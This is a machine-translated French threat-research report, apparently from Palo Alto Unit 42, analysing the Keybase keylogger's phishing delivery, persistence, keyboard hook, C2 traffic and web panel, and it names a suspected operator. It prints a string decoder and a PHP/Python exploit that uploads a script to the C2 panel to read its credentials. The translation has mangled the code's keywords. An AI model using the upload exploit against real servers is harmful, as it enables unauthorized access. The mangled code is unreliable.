Keybase Keylogger Malware famille exposés
Resolution
Réimprimer à partir de l'unité 42.
Ces derniers mois, notre équipe a suivi une famille de malwares Keylogger nommé keybase qui a été dans l'état sauvage depuis février 2015. Le malware est équipé d'une variété de fonctionnalités et peut être acheté pour $50 directement à partir de l'auteur. Il a été déployé dans des attaques contre des organisations dans de nombreuses industries et est principalement livré par le biais de courriels de phishing.
Au total, Palo Alto Networks autofocus menace Intelligence Service a identifié 295 échantillons uniques sur environ 1 500 sessions uniques au cours des quatre derniers mois. Les attaques visaient principalement les industries de la haute technologie, de l'enseignement supérieur et du commerce de détail.
Distribution des logiciels malveillants et cibles
Keybase a été observé pour la première fois à la mi-février de 2015. Peu de temps avant, le domaine'keybase [.] dans', a été enregistré comme une page d'accueil et boutique en ligne pour le keylogger keybase.
Nom de domaine: keybase. Dans
Créé le: 04-Feb-2015 08:27:44 UTC
Dernière mise à jour le: 05-Apr-2015 19:20:38 UTC
Date d'expiration: 04-Feb-2016 08:27:44 UTC
Cette activité est en ligne avec une annonce initiale faite par un utilisateur avec le handle'support ™ 'annonçant keybase sur le Forum hackforums.net le 7 février 2015. Dans le post du Forum, le malware vante les caractéristiques suivantes:
- Advanced Keylogger
- Temps d'analyse et d'exécution entièrement non détecté (supprimé ultérieurement)
- Web-Panel convivial
- Support Unicode
- Récupération de mot de passe
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-forums.png
La figure 1. Affichage keybase sur hackforums.net
Depuis le 2015 février, environ 1 500 sessions portant keybase ont été capturées par Wildfire, comme nous pouvons le voir ci-dessous:
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-2.png
La figure 2. Chronologie keybase dans autofocus
Nous pouvons également déterminer rapidement les industries ciblées en utilisant autofocus:
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-3.png
La figure 3. Industries ciblées dans autofocus
Les entreprises ciblées couvrent le globe et sont situées dans de nombreux pays.
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-4.png
La figure 4. Les pays ciblés dans autofocus
Ce malware est principalement livré via des courriels de phishing en utilisant des leurres communs. Vous trouverez ci-dessous quelques exemples de fichiers d'attachement:
- Commande achat. exe
- New Order. exe
- Document 27895. SCR
- Payment document. exe
- PO #7478. exe
- Factures. exe en retard
Un tel exemple d'un email livrant keybase peut être vu ci-dessous.
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-5.png
Figure 5. E-mail de phishing keybase
Globalement, l'unité 42 a vu un grand nombre de campagnes distinctes à l'aide de keybase. Comme le logiciel peut être facilement acheté par n'importe qui, ce n'est pas surprenant. Comme nous pouvons le voir dans le diagramme suivant, environ 50 différents serveurs de commande et de contrôle (C2) ont été identifiés avec jusqu'à jusqu'à 50 échantillons uniques se connectant à un seul C2.
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-6.png
Figure 6. Diagramme de campagne de keybase
Vue d'ensemble des logiciels malveillants
Keybase lui-même est écrit en C# à l'aide du .NET Framework. Ces faits nous ont permis de décompiler le code sous-jacent et d'identifier les fonctionnalités clés et les caractéristiques du keylogger.
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-7.png
Figure 7. Logo keybase
La fonctionnalité de keybase inclut les éléments suivants:
- Afficher un site Web au démarrage
- Captures d’écran
- Télécharger/exécuter
- Persistance
- Kill Timer
Lorsque le malware est initialement exécuté, une série de threads sont engendrées.
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-8.png
Figure 8. Keybase fonction principale
Les différentes fonctions engendrées dans de nouveaux threads peuvent être inertes en fonction des options spécifiées par l'attaquant pendant la construction. Si une fonctionnalité n'est pas activée, une fonction ressemble à ce qui suit:
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-9.png
Figure 9. Fonctions inertes dans keybase
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-10.png
Figure 10. Générateur de keybase
L'auteur utilise un certain nombre de techniques d'obscurcissement simples sur différentes chaînes utilisées dans le code. Il s'agit notamment de remplacer des caractères uniques qui ont été ajoutés aux chaînes, ainsi que d'effectuer des opérations inverses sur des chaînes.
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-11.png
Figure 11. Obscurcissement de chaîne à l'aide de remplacer
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-12.png
Figure 12. Obscurcissement de chaîne à l'aide de l'inverse
En outre, l'auteur utilise une classe de «cryptage». Cette classe est utilisée pour décrypter un certain nombre de chaînes trouvées dans le code.
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-13.png
Figure 13. Classe de cryptage keybase
Des références à ce code décompilé ont été découvertes dans un ancien affichage sur hackforums.net, où l'utilisateur'éthéré'a fourni un exemple de code.
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-14.png
Figure 14. Validation du code de cryptage sur hackforums.net
Nous voyons la fonction'DecryptText'utilisée par l'auteur quand il/elle charge dynamiquement un certain nombre d'API de Microsoft Windows.
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-15.png
Figure 15. Fonctions API masquées dans keybase
Le code python suivant peut être utilisé pour décrypter ces chaînes.
Crayon surligneur syntaxique v 2.6.6
#!/usr/bin/python
#-*-codage: UTF-8-*-
Strings = [u "ĈőŘĝŏŒįķŎŖġŎŠĠz", \
u "ŝ ƕ Ƹš ɣ ư ƕ ŷ ƔƇ żƚ Ʋƕ Ǝ ƤË", \
u "ķůƒĻŮƊůőŮšŖŴƌůŨž ¥", \
u "ńŰƓļůƋŰŒůŢŗŵƍŰũſ ¦", \
u "ŨƚƶľśƌƐƅſƧźƌƚƏŔƚƭżƌƱƟÆ", \
u "ĴšűĽňżūŅšƃŌŅůũőŮƉ \ u0097", \
u "ŇżƇśūŨżşŭƃŚŹťůŝŹƐŠ ¥", \
u "ıűŦňŦŬŭĹŦŶőňűŐňŠƅŃŨŹ \ u0098", \
u "ńűƎřŹŷŴįŴƈŔŧśƀ £", \
u "ŵƢDŽƏʀưƑƋƯƶŻƝØ"]
Key = 'clé de base'
def Dec (STR, Key):
key_len = Len (Key)
out = ""
pour c, s dans l'énumération (STR [:-1]):
out + = Chr (ORD (s)-ORD (Key [c% key_len])-ORD (STR [-1]))
Return out
pour s dans les chaînes:
Print "décodé:% 25 | Codé:% s "% (DEC (s, Key), repr (s))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | #!/usr/bin/python #-*-codage: UTF-8-*- Strings = [ u"ĈőŘĝŏŒįķŎŖġŎŠĠz", \ u"ŝ ƕ Ƹš ɣ ư ƕ ŷ ƔƇ żƚ Ʋƕ Ǝ ƤË", \ u"ķůƒĻŮƊůőŮšŖŴƌůŨž ¥", \ u"ńŰƓļůƋŰŒůŢŗŵƍŰũſ ¦", \ u"ŨƚƶľśƌƐƅſƧźƌƚƏŔƚƭżƌƱƟÆ", \ u"ĴšűĽňżūŅšƃŌŅůũőŮƉ \ u0097", \ u"ŇżƇśūŨżşŭƃŚŹťůŝŹƐŠ ¥", \ u"ıűŦňŦŬŭĹŦŶőňűŐňŠƅŃŨŹ \ u0098", \ u"ńűƎřŹŷŴįŴƈŔŧśƀ £", \ u"ŵƢDŽƏʀưƑƋƯƶŻƝØ" ] Key = 'clé de base' def Dec(Str, Key): key_len = Len(Key) out = "" pour c, s dans l' énumération(Str[:-1]): out + = Chr(ORD(s) - ORD(Key[c%key_len]) - ORD(Str[-1])) Return out pour s dans les chaînes: print "décodé:% 25 | Codé:% s " % (Dec(s, Key), repr(s)) |
[format Time: 0,0047 seconds]
Persistance
La persistance dans keybase, si elle est activée, est obtenue à l'aide de deux techniques: copier le malware dans le dossier de démarrage ou définir la clé de Registre Run sur autorun au démarrage. Lorsque keybase se copie dans le dossier de démarrage, il se nomme «important. exe». Cette valeur est définie statiquement par l'auteur et ne peut pas être modifiée par l'utilisateur dans la version actuelle. La clé utilisée dans la clé de Registre Run suivante est définie par l'utilisateur et est toujours une valeur hexadécimale de 32 octets.
HKCU\Software\Microsoft\Windows\CurrentVersion\Run [32 Byte Key]: [chemin d'accès à l'exécutable]
Keylogging
Keylog dans keybase est principalement accompli dans une classe distincte nommée de manière appropriée'keyhook. ' Bien que la classe partage un nom avec un référentiel accessible au public sur GitHub, la classe semble être écrite sur mesure. Bien que Custom, la classe elle-même utilise une technique très courante d'utiliser le SetWindowsHookExA de Microsoft Windows afin d'accrocher le clavier de la victime.
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-16.png
Figure 16. Clavier de raccordement via SetWindowsHookExA
L'auteur procède à gérer les événements clavier appropriés comme prévu.
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-17.png
Figure 17. Gestion des événements de clavier
La classe a également la capacité de gérer les caractères Unicode, ainsi que d'obtenir le nom de la fenêtre de premier plan. Cela permet aux logiciels malveillants non seulement d'identifier les touches sont pressées, mais ce que l'application dit presses clés sont envoyés à.
Commande et contrôle (C2)
Toutes les communications avec un serveur distant se font via http. Les données ne sont pas cryptées ou obscurcies de quelque manière que ce soit. Lors de l'exécution initiale, keybase effectuera un premier Check-in sur le serveur distant, comme nous pouvons le voir ci-dessous.
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-18.png
Figure 18. Demande initiale de notification de keybase http Get
Un certain nombre d'en-têtes HTTP ne sont pas inclus dans la demande. Ceci fournit une technique simple pour marquer l'activité comme malveillante. Il est également important de noter qu'il est assez élémentaire pour détecter l'activité en utilisant les variables Get hardcoded inclus dans la demande. Bien que le nom de la machine victime et l'heure actuelle varient, le reste de la demande restera statique.
Keybase peut également renvoyer les données suivantes à son serveur C2:
- Frappes
- Presse-papiers
- Captures d’écran
Des exemples de ces données peuvent être vus ci-dessous.
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-19.png
Figure 19. Keybase téléchargeant des données de presse-papiers
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-20.png
Figure 20. Keybase téléchargeant des données de frappe
Au cours de cette communication avec son serveur C2, keybase inclura les données RAW du presse-papiers et du journal de frappe à l'aide de divers paramètres Get. Ces données sont codées en URI, mais autrement envoyées en clair.
Enfin, keybase utilisera également un URI spécifique pour télécharger des captures d'écran. Le chemin'/image/upload.php'est hardcoded dans le malware. Toutes les images renvoyées à son serveur C2 seront placées dans le chemin «/image/images/». Les données téléchargées sont de nouveau envoyées non cryptées, comme nous pouvons le voir ci-dessous.
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-21.png
Figure 21. Keybase Uploading image capture d'écran
Panneau Web
Le panneau Web lui-même ne fournit pas de caractéristiques innovantes. Il utilise un schéma de couleur rouge/gris simple comme vu ci-dessous.
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-22.png
Figure 22. Panneau Web keybase
Le panneau permet à l'attaquant de visualiser rapidement les machines infectées, les frappes, les captures d'écran, les données du presse-papiers et les données de mot de passe. Malheureusement, l'auteur de keybase ne fait pas usage de la pagination, qui se traduit par des performances médiocres dans le cas où une grande quantité de données est affichée à l'attaquant.
Découvertes intéressantes
Au cours de nos recherches, l'unité 42 a découvert qu'aucune authentification n'était requise lors de l'affichage du chemin «/image/images/». Un serveur C2 en particulier se distingue parce qu'il est apparu l'opérateur a été test keybase sur sa machine locale. En tant que tel, des captures d'écran de sa machine ont été téléchargés sur son serveur et pourrait être consulté par le grand public. Dans la capture d'écran ci-dessous, nous pouvons voir clairement le dossier'keybase v 1.0 '. Ce dossier contient presque certainement l'installation de keybase. Tout en visualisant le Bureau de l'opérateur, nous pouvons également voir un certain nombre d'autres keyloggers, tels que «Hawkeye Keylogger» et «Knight Logger». Aussi de la note est un crypteur populaire appelé'AegisCrypter'. Enfin, nous pouvons également voir que l'utilisateur s'engage dans la piraterie, comme des copies de la fois «le Hobbit» et «Fury» apparaissent sur le bureau ainsi.
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-23.png
Figure 23. Keybase opérateur Desktop screenshot
Tout en continuant à examiner les images téléchargées, nous identifions également l'utilisateur se connectant à une instance de Windows Web Server 2008 R2 via Remote Desktop. Cela semble être l'endroit où l'attaquant lance leurs campagnes de spam en utilisant une instance de "Turbo-Mailer 2.7.10". Malheureusement, il semble que l'opérateur avait oublié son nom d'utilisateur/mot de passe à ce moment particulier.
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-24.png
Figure 24. Opérateur keybase envoyant des courriels d'hameçonnage
L'examen ultérieur des screenshots téléchargés montre l'activité de l'utilisateur se connectant dans son compte de Facebook. L'utilisateur semble être nommé «China Onyeali» et est observé discuter de certains de ses derniers efforts. Plus précisément, nous voyons un lien vers un fichier. rar hébergé sur rghost [.] NET contenant le fichier suivant. Nous voyons aussi l'opérateur de discuter le keylogger Hawkeye dans une autre fenêtre de chat. La page Facebook de l'opérateur prétend qu'il vit à Mbieri, au Nigeria. Nous avons précédemment rapporté sur les acteurs nigérians en utilisant des outils en dehors du plateau pour attaquer les affaires dans notre rapport 419 Evolution en juillet dernier. Cet utilisateur a été signalé à l'équipe de sécurité Facebook.
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-25.png
Figure 25. Opérateur keybase connecté à Facebook
Autres découvertes intéressantes
D'autres découvertes intéressantes ont été faites tout en faisant des recherches sur le code principal C2. En particulier, le fichier upload. php a été examiné et analysé, car ce fichier gère les téléchargements de fichiers vers le serveur. Comme nous pouvons le voir, il n'y a pas de validation pour les types de fichiers téléchargés sur le serveur distant.
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-26.png
Figure 26. Keybase screenshot Télécharger script php
Cela pose un problème du point de vue de la sécurité, comme un tiers peut simplement télécharger un script php dans le répertoire «/image/images/» pour obtenir un accès non autorisé. Le code php suivant peut être utilisé pour lire le script keybase'config. php', qui contient le nom d'utilisateur et le mot de passe du panneau Web.
Crayon surligneur syntaxique v 2.6.6
< ? php
$file = '.. /.. /config.php';
echo "ça marche!".<br>";
if (file_exists ($file)) {
echo "fichier de lecture". "<br>";
echo file_get_contents ($file);
}
?>
1 2 3 4 5 6 7 8 9 10 | < ? php $file = '.. /.. /config.php'; echo "ça marche!" . "<br>"; if (file_exists($file)) { echo "fichier de lecture"."<br>"; echo file_get_contents($file); } ?> |
[format Time: 0,0047 seconds]
En outre, le code python suivant peut être utilisé pour télécharger ce fichier et lire les résultats.
Crayon surligneur syntaxique v 2.6.6
demandes d'importation
importer sys
Si Len (sys. argv)! = 2:
Print "utilisation:% s [php_file]"% __FILE__
sys. Exit (1)
URL = ""
imprimer "demande d'envoi..."
multiple_files = [('file', ('Win-JJFOIJGL_6_5_14_22_2. php', Open (sys. argv [1], 'RB'))])
r = demandes. post (URL + "image/upload. php", fichiers = multiple_files)
imprimer "résultats:"
imprimer
r = demandes. get (URL + "image/images/Win-JJFOIJGL_6_5_14_22_2. php")
imprimer r. Text
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | demandes d'importation importer sys Si Len(sys. argv) ! = 2: print "utilisation:% s [php_file]" % __FILE__ sys. Exit(1) URL = "" Imprimer "demande d'envoi..." multiple_files = [('file', ('Win-JJFOIJGL_6_5_14_22_2. php', Open(sys. argv[1], 'RB')))] r = demandes. post(URL + "image/upload. php", fichiers=multiple_files) Imprimer "résultats:" imprimer r = demandes. Get(URL + "image/images/Win-JJFOIJGL_6_5_14_22_2. php") Imprimer r. texte |
[format Time: 0,0028 seconds]
Conclusion
Globalement, ce malware keybase est assez peu sophistiqué. Il manque un certain nombre de fonctionnalités disponibles dans certaines des familles les plus populaires Malware, et le panneau Web C2 contient des failles de sécurité qui pourraient permettre à un tiers d'obtenir un accès non autorisé. Le générateur de keybase fournit une interface facile à utiliser et conviviale; Cependant, un certain nombre d'options sont hardcoded dans le malware lui-même. Quelques exemples incluent les utilisations de keybase de nom de fichier quand il est copié pour maintenir la persistance, et divers chemins d'URI qu'il emploie pendant la phase de commande et de contrôle.
Bien que ce malware a quelques problèmes avec sophistication, l'unité 42 a observé une augmentation importante et continue de l'utilisation par les attaquants, ciblant généralement les industries de haute technologie, d'enseignement supérieur et de détail. Palo Alto réseaux clients sont protégés par Wildfire, qui est capable de détecter keybase comme malveillants. Les lecteurs peuvent également utiliser les indicateurs fournis pour déployer des protections.
Pour obtenir la liste des hachages d'échantillon et leurs domaines et adresses IP associés, veuillez consulter le lien suivant.